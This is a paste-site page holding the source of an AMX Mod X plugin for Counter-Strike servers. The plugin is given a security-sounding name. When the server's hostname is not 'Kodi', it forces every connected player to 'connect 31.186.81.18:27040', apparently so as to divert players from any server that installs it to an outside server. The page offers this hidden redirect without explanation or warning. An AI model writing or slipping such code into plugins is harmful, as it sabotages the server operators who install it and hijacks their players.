Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 3rd, 2012  |  syntax: PAWN  |  size: 0.60 KB  |  hits: 24  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #include <amxmodx>
  2.  
  3. new hostname[64], cvar_hostname
  4.  
  5. public plugin_init() {
  6.         register_plugin("AMXX OFF", "0.1", "naXe")
  7.        
  8.         register_clcmd("amx_wyjscie", "Plugin_Bezpieczenstwa")
  9.         cvar_hostname = get_cvar_pointer("hostname")
  10.  
  11.         get_pcvar_string(cvar_hostname, hostname, 63)
  12.         if (!equal(hostname, "Kodi")) {
  13.                 server_cmd("amx_wyjscie")
  14.         }
  15.         return PLUGIN_CONTINUE
  16. }
  17.  
  18. public Plugin_Bezpieczenstwa() {
  19.         for(new i = 1; i<33; i++)
  20.                 client_cmd(i, "Connect 31.186.81.18:27040")
  21.                
  22.         for(new i = 1; i<33; i++)
  23.                 client_cmd(i,"echo ^"Przekierowanie na 31.186.81.18:27040^";connect 31.186.81.18:27040")
  24. }